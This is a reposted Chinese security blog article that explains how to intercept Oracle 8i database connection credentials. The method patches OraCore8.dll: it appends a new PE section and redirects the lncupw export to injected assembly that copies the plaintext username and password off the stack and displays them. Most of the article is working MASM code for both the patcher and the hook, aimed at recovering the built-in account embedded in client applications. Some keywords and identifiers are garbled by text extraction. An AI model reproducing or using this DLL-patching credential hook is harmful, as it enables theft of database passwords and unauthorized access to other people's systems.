专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » oracle连接数据库:如何截获Oracle数据库连接密码 »正文

oracle连接数据库:如何截获Oracle数据库连接密码

来源: 发布时间:星期六, 2009年9月12日 浏览:24次 评论:0
概述
Oracle 系统是应用最广泛服务器/客户端类型数据库系统其密码验证等安全措施也做得比较严格但是通过本文所描述思路方法我们还是有机会从应用中截获数据库连接用户名和密码

原理

大部分服务器/客户端系统结构可以这样描述:

客户端 <---(1)---> 系统TCP/IP模块 <---(2)---> 网络 <----> 系统TCP/IP模块 <----> 服务端

对于这些系统安全问题出在由(2)所示地方比如说当使用 POP3 协议收取邮件或者用 Telnet 登录到远程主机时候其登录密码都是未经加密只要在网络上安装个嗅探器 (Snfer) 来监听数据包就可以很容易地截获用户名和密码

但对于 Oracle 系统来说用户名和密码在网络上传递的前是经过加密而且加密算法是不可逆即使使用嗅探器探听到数据包开始无法把数据库连接密码恢复出来Oracle 系统结构可以如下描述:

客户端应用 <--(1)--> Oracle客户端软件Software <---(2)---> 系统TCP/IP模块 <---(3)---> 网络 <--> 系统TCP/IP模块 <---> Oracle数据库

对于这类系统所有在(2)或者(3)处监听到登录数据包都是已经经过加密但是考虑下我们编写 Oracle 数据库应用时候无论是通过 ODBC 还是 Pro C或者其他 BDE 环境等都是将数据库连接用户名和密码用明文方式传递给 Oracle 客户端驱动所以在(1)位置数据流肯定明文密码是在 Oracle 客户端软件Software中被加密后才经过(2)、(3)等步骤发送出去如果在(1)位置进行拦截就可能拦截到密码

考虑到步骤(1)发生在应用到 Oracle 系统也就是发生在 API 层次所以只要找到密码加密模块入口在对相应 API 进行 Hook就能截获到密码了

有人可能存在个疑问:使用 Snfer 可以监听到网络上其他计算机连接数据包而在 API 层次上进行拦截是针对本机但要是自己能够在本机上连接就表示已经知道密码了再去截获不是多此举吗?

非也!

实际上大部分 Oracle 应用都包括个用户开发客户端这个客户端可能是用 C、PowerBuilder 和其他语言开发这些软件Software提供个界面提示用户输入用户名和密码登录系统但是这个用户名和密码并不是数据库连接用户名和密码而仅仅是个类似于 users 表中条记录而已内部内置数据库连接帐号才是我们目标般来说客户端应用是这样工作:

1. 使用个内置数据库连接帐号连接到数据库
2. 弹出个对话框提示用户输入用户名 xxx 和密码 yyy
3. 使用类似于 select * from users where username='xxx' and password='yyy' SQL 语句查询用户是否有权登录系统

我们目标就是步骤1中连接帐号这个帐号存在于客户端软件Software中虽然可能已经被静态加密(也就是说用16进制软件Software去搜寻可执行文件时并不能被找到)但它运行后需要连接数据库时候必然会被解密并用明文传递到 Oracle 客户端软件Software中

思路方法

好了现在来看看具体实现思路方法

1. 相关

步当然要知道在哪里下手经过了番跟踪以后(这里省去跟踪步骤 n 步大家可以尝试自己跟踪下)就可以发现用户名和密码是在 OraCore8.dll 模块中 lncupw 中被加密而且这个思路方法如下:

invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

入口参数包括明文数据库连接用户名和密码以及他们长度运行结果是在第个参数Output指定缓冲区中返回加密后数据以后这个加密后数据会被发送到服务器端进行认证

2. 具体实现方案

我们思路方法就是在对 OraCore8.dll 进行补丁在 dll 文件中附加段代码然后修改 dll 导出表中 lncupw 对应入口地址将它指向到附加代码中然后由这段代码在堆栈中取出用户名和密码并显示出来完成这个步骤后再跳转到原始 lncupw 入口地址去执行原有功能

这个方案涉及到两个技术问题是对 dll 文件修改问题这个问题可以归结为在 PE 文件后添加可执行代码思路方法问题第 2就是写被附加到 dll 文件后问题

对 dll 文件修改代码片断如下在这以前我们假定已经做了其他这样些工作:

※ 文件名串放在 szFileName 指定缓冲区中
※ 已经对文件进行校验找到了导出表中 lncupw 项目这个项目在文件中 Off 放在 dwOffPeHeand 中lncupw 原始入口RVA放在 dwProcEntry 变量中
※ 找出了 dll 文件中 PE 文件头位置并拷贝 PE 文件头到 lpPeHead 指定位置中


invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
. eax INVALID_HANDLE_VALUE
invoke MessageBox,hWinMain,addr szErrMody,NULL,MB_OK or MB_ICONERROR
jmp _Ret
.end
mov @hFile,eax
;********************************************************************
; esi --> 原PeHead
; edx --> 最后个节表ebx --> 新加节表
;********************************************************************
mov esi,lpPeHead
assume esi:ptr IMAGE_NT_HEADERS
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx, IMAGE_SECTION_HEADER
mul ecx

mov edx,esi
add edx,eax
add edx, IMAGE_NT_HEADERS
mov ebx,edx
add ebx, IMAGE_SECTION_HEADER
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; 加入个新并修正些PE头部内容
;********************************************************************
inc [esi].FileHeader.NumberOfSections
mov eax,[edx].PoerToRawData
add eax,[edx].SizeOfRawData
mov [ebx].PoerToRawData,eax
invoke _Align,off APPEND_CODE_END-off APPEND_CODE,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,off APPEND_CODE_END-off APPEND_CODE,[esi].OptionalHeader.SectionAlignment
add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].Misc.VirtualSize,off APPEND_CODE_END-off APPEND_CODE
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 写文件
;********************************************************************
invoke SetFilePoer,@hFile,dwOffPeHead,NULL,FILE_BEGIN
invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
invoke SetFilePoer,@hFile,[ebx].PoerToRawData,NULL,FILE_BEGIN
invoke WriteFile,@hFile,off APPEND_CODE,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PoerToRawData
add eax,[ebx].SizeOfRawData
invoke SetFilePoer,@hFile,eax,NULL,FILE_BEGIN
invoke SetEndOfFile,@hFile
;********************************************************************
; 修正新加代码中 Jmp oldEntry 指令
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,(off _dwOldEntry-off APPEND_CODE+4)
sub dwProcEntry,eax
mov ecx,[ebx].PoerToRawData
add ecx,(off _dwOldEntry-off APPEND_CODE)
invoke SetFilePoer,@hFile,ecx,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 修正入口指针
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,(off _NewEntry-off APPEND_CODE)
mov dwProcEntry,eax
invoke SetFilePoer,@hFile,dwOffProc,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 关闭文件
;********************************************************************
invoke CloseHandle,@hFile
_Ret:
; 修改完成



这段代码完成了3个步骤首先是扫描PE文件头中节表并在最后添加个新以便把附加代码写到这个节中这个节属性被设置为可执行、可读、可写代码运行需要数据区也放在这里然后修改附加代码最后 jmp 指令将它指到原始 lncupw 最后在 dll 导出表中将 lncupw 入口地址指向附加代码中

下面是被附加到 dll 后代码这段代码被写成可以自我定位格式代码首先在内存中找出 Kernel32.dll 位置并从中找出 LoadLibrary 和 GetProcAddress 地址然后这两个获取其他系列要用到入口地址:


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 要被添加到 OraCore8.dll 文件后面执行代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 原形定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword
_Protowsprf typedef proto c :dword,:VARARG
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiMessageBox typedef ptr _ProtoMessageBox
_Apiwsprf typedef ptr _Protowsprf
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
APPEND_CODE equ this
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_MessageBox _ApiMessageBox ?
_wsprf _Apiwsprf ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szUser32 db 'user32',0
szMessageBox db 'MessageBoxA',0
szwsprf db 'wsprfA',0
szCaption db 'Oracle 8i 密码截取补丁',0
szFormatPwd db '截获 Oracle 连接:',0dh,0ah,0dh,0ah
db '用户名:%s',0dh,0ah
db '密 码:%s',0
szTmpBuffer db 512 dup (?)
szUserName db 64 dup (?)
szPassWord db 64 dup (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret

_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szKernel32 db 'KERNEL32'
_GetKernelBase proc _dwKernelRet
local @dwReturn

pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,off @B
;********************************************************************
; 创建用于处理 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + off _PageError]
push eax
lea eax,[ebx + off _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 基地址
;********************************************************************
mov edi,_dwKernelRet
and edi,0ffff0000h
.while TRUE
. word ptr [edi] IMAGE_DOS_SIGNATURE
mov esi,edi
add esi,[esi+003ch]
. word ptr [esi] IMAGE_NT_SIGNATURE
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,edi
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[esi].nName
add esi,edi
mov ecx, szKernel32
push edi
lea edi,[ebx+szKernel32]
cld
repz cmpsb
pop edi
. ZERO?
mov @dwReturn,edi
.
.end
assume esi:nothing
.end
.end
_PageError:
sub edi,010000h
. . edi < 70000000h
.endw
pop fs:[0]
add esp,0ch
popad
mov eax,@dwReturn
ret

_GetKernelBase endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块导出表中获取某个 API 入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi proc _hModule,_lpszApi
local @dwReturn,@dwStringLength

pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,off @B
;********************************************************************
; 创建用于处理 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + off _Error]
push eax
lea eax,[ebx + off _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 计算 API 长度(带尾部0)
;********************************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头数据目录获取导出表地址
;********************************************************************
mov esi,_hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称导出
;********************************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,[ebx]
add edi,_hModule
mov esi,_lpszApi
mov ecx,@dwStringLength
repz cmpsb
. ZERO?
pop esi
jmp @F
.end
pop esi
add ebx,4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret

_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 新入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_NewEntry:
;********************************************************************
; 重定位并获取些 API 入口地址
;********************************************************************
pushad
call @F
@@:
pop ebx
sub ebx,off @B
;********************************************************************
. dword ptr [ebx+_MessageBox]
jmp @F
.end
;********************************************************************
invoke _GetKernelBase,7b000000h ;获取Kernel32.dll基址
or eax,eax
jz _ToOldEntry
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口

lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_GetProcAddress],eax

lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_LoadLibrary],eax

lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
or eax,eax
jz _ToOldEntry
mov [ebx+hDllUser32],eax

lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
or eax,eax
jz _ToOldEntry

lea eax,[ebx+szwsprf] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_wsprf],eax
or eax,eax
jz _ToOldEntry
;********************************************************************
; 功能开始
;********************************************************************
; lncupw 方式是:
; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1
; 现在堆栈内容是:
; ...
; esp+14*4 dwLenUserName
; esp+13*4 addr szUserName
; esp+12*4 dwLenPass
; esp+11*4 addr szPassword
; esp+10*4 1eh
; esp+9*4 addr Output
; esp+8*4 call's address
; esp+到esp+8*4 pusha 推入堆栈8个寄存器值
;
; 所以从 esp+13*4 和 esp+11*4 取出就是 Oracle 应用
; 传递进来用来连接数据库用户名和密码地址
;********************************************************************
@@:
mov esi,[esp+13*4] ;username
lea edi,[ebx+szUserName]
mov ecx,[esp+14*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
cld
rep movsb
xor eax,eax
stosb

mov esi,[esp+11*4] ;password
lea edi,[ebx+szPassWord]
mov ecx,[esp+12*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
rep movsb
xor eax,eax
stosb

lea eax,[ebx+szUserName]
lea ecx,[ebx+szPassWord]
lea edx,[ebx+szFormatPwd]
lea esi,[ebx+szTmpBuffer]
invoke [ebx+_wsprf],esi,edx,eax,ecx

lea ecx,[ebx+szTmpBuffer]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION
;********************************************************************
; 执行原来文件
;********************************************************************
_ToOldEntry:
popad
db 0e9h ;0e9h是jmp xxxxxxxx机器码
_dwOldEntry:
dd ? ;用来填入原来 lncupw 入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this



对 OraCore8.dll 进行了这样补丁以后凡是有应用连接 Oracle 数据库附加代码就可以截获到连接所用用户名和密码并通过个 MessageBox 显示出来了!

其他

1. Oracle 客户端版本问题

OraCore8.dll 仅存在于 Oracle 8.1.0 以上版本中Oracle 7.x 版本中并不存在这个 dll 文件也没有其他 dll 包含 lncupw 而 Oracle 8.0.x 版本中仅在服务器端存在 OraCore8.dll 文件所以本仅仅适用于 Oracle 8.1.0 以上版本

不过这又有什么关系呢!如果有需要跟踪客户端软件Software那么这个软件Software般并不会要求特定 Oracle 客户端版本只要在自己机器上安装个 8.1.x 版本后再进行密码截获就是了这就是软件Software分层结构带来好处!

2. 已经编译好补丁软件Software可以在作品发布中找到

3. 可以参考资料

由于时间关系本文不可能把涉及 PE 文件相关结构具体介绍说明如果需要这方面资料可以参考我写那本Windows环境下32位汇编语言设计(电子工业出版社出版)书中以下章节:

--> 17.1 节:PE文件结构
--> 17.3 节:导出表
--> 17.6.1 节:动态获取API入口地址
--> 17.6.2 节:在PE文件上添加执行代码

慢着!慢着!不要扔砖头!我又不是为了给自己书做广告#¥%!◎……×……那个谁谁谁拜托你要扔也扔些玉嘛……



  • 篇文章: pingbackdoor隐藏

  • 篇文章: 另外种隐藏LKM思路方法
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: